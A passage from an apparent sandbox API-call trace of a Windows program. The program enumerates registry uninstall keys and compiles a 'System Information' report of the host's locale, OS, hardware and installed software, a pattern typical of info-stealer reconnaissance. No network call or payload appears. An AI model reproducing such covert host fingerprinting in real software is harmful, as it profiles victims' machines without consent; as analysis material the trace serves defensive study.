11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.895] lstrlenW (lpString="\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 74 [0261.895] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n") returned 2706 [0261.895] LocalAlloc (uFlags=0x40, uBytes=0x16b8) returned 0x6e5058 [0261.896] LocalFree (hMem=0x6f6c98) returned 0x0 [0261.896] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.896] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.896] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.897] LocalFree (hMem=0x6bec00) returned 0x0 [0261.897] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.897] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2e, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0117-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.897] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0117-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.897] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.897] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.897] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Access Setup Metadata MUI (English) 2016", lpcbData=0x24fac4*=0x66) returned 0x0 [0261.897] LocalAlloc (uFlags=0x40, uBytes=0x20cc) returned 0x6f35b0 [0261.897] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.897] StrStrW (lpFirst="Microsoft Access Setup Metadata MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.897] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 67 [0261.897] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.897] lstrlenW (lpString="\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 67 [0261.898] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 2780 [0261.898] LocalAlloc (uFlags=0x40, uBytes=0x173e) returned 0x6f5688 [0261.898] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.899] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.901] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.902] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.903] LocalFree (hMem=0x6bec00) returned 0x0 [0261.903] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.903] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2f, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-012B-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.903] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-012B-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.912] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.912] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.912] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Skype for Business MUI (English) 2016", lpcbData=0x24fac4*=0x60) returned 0x0 [0261.912] LocalAlloc (uFlags=0x40, uBytes=0x20c0) returned 0x6f35b0 [0261.912] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.913] StrStrW (lpFirst="Microsoft Skype for Business MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.913] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n") returned 64 [0261.913] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.913] lstrlenW (lpString="\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n") returned 64 [0261.913] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n") returned 2847 [0261.913] LocalAlloc (uFlags=0x40, uBytes=0x17be) returned 0x6e5058 [0261.915] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.916] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.916] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.916] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.917] LocalFree (hMem=0x6bec00) returned 0x0 [0261.945] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.945] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x30, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4503575", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.945] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{92FB6C44-E685-45AD-9B20-CADF4CABA132}.KB4503575", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.945] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.945] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.946] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Update for Microsoft .NET Framework 4.8 (KB4503575)", lpcbData=0x24fac4*=0x68) returned 0x0 [0261.946] LocalAlloc (uFlags=0x40, uBytes=0x20d0) returned 0x6f35b0 [0261.946] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="1", lpcbData=0x24facc*=0x4) returned 0x0 [0261.946] StrStrW (lpFirst="Update for Microsoft .NET Framework 4.8 (KB4503575)", lpSrch="1") returned 0x0 [0262.296] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n") returned 55 [0262.296] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n") returned 0x0 [0262.296] lstrlenW (lpString="\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n") returned 55 [0262.296] lstrlenW (lpString="System Information: \n\x09- Locale: 